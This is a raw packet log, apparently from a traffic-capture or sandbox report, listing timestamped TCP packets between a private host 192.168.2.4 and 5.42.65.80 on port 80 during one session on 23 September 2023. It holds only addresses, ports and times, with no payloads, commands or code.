Sep 23, 2023 17:53:23.278783083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.278820038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.279576063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.279623032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.279625893 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.280045986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.280091047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.280168056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.280240059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.280276060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.280282974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.280961037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.281011105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.281095028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.281130075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.281167984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.281173944 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.282012939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.282048941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.282082081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.282130003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.282172918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.282197952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.282946110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.282993078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.283023119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.283058882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.283101082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.283165932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.283822060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.283869982 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.283898115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.284045935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.284081936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.284090996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.284820080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.284861088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.284873962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.284909010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.284950018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.285010099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.285851002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.285886049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.285902977 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.285942078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.285984039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.286040068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.286624908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.286672115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.286761045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.286829948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.286864996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.286870003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.287621975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.287657022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.287676096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.287719011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.287764072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.287834883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.288640022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.288686991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.288686991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.288755894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.288800955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.288877964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.289454937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.289501905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.289520025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.289556980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.289599895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.289623022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.290513039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.290565968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.290587902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.290656090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.290699005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.290738106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.291348934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.291384935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.291398048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.291750908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.291805029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.291807890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.291873932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.291918039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.291992903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293037891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293085098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.293112993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293179989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293226004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.293272018 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293718100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293764114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.293787003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293823004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.293870926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.293945074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.295237064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.295289040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.296164036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.296652079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.296700954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.296731949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.296840906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.296889067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.296988964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297074080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297118902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.297163010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297233105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297272921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.297280073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297406912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297449112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.297494888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297563076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297605991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.297652006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297719002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.297758102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.297802925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.298319101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.298393965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.298439026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.298465014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.298501015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.298517942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.299304962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.299341917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.299350023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.299439907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.299477100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.299496889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.300210953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.300249100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.300257921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.300414085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.300457001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.300533056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.301064968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.301136971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.301137924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.301242113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.301282883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.301299095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.333880901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.333961010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.333986044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334002972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334019899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334049940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.334371090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334389925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334410906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.334558010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334593058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334611893 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.334630013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.334677935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.334697008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335124016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335160971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335172892 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.335242987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335288048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.335323095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335391998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335427046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335437059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.335494041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335536003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.335797071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335895061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335932016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.335939884 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.336016893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.336061954 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.337367058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337421894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337475061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.337553978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337589979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337632895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.337658882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337760925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337796926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337805986 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.337832928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.337873936 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.337899923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338016033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338057995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.338089943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338126898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338167906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.338192940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338466883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338514090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.338609934 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338769913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338803053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.338812113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.338996887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339108944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339137077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.339178085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339210987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339221001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.339741945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339773893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339786053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.339808941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339848995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.339869976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339930058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339961052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.339968920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.340019941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340059042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.340061903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340410948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340442896 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340454102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.340475082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340522051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.340552092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340666056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340698004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.340713024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.341018915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.341063976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.341104984 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.341165066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.341197014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.341208935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.344077110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.344129086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.344152927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.344216108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.344259977 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.344302893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345026970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345091105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.345134020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345325947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345375061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.345392942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345504045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345535994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345547915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.345607042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345648050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.345690012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.345959902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.346003056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.346036911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.346158981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.346190929 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.346201897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.346389055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.346431971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.346474886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.346616030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.346657991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.346678019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347009897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347054958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.347125053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347156048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347193956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.347265005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347409964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347443104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347471952 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.347474098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347506046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347522020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.347786903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347829103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347836971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.347861052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.347902060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.347958088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.348314047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.348345995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.348365068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.348412037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.348443985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.348468065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.348877907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.348922968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.348929882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.348989010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.349025011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.349033117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.349174023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.349209070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.349216938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.349348068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.349383116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.349390030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.349894047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.349946976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.349991083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.350054979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.350431919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.350467920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.350474119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.350553989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.350599051 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.350631952 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.350964069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.351001024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.351006985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.351067066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.351110935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.351263046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.353255987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.353334904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.353379965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.353425980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.353564024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.353600025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.353607893 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.353861094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.353909969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.353952885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.354020119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.354054928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.354063988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.354091883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.354139090 CEST	49781	80	192.168.2.4	5.42.65.80
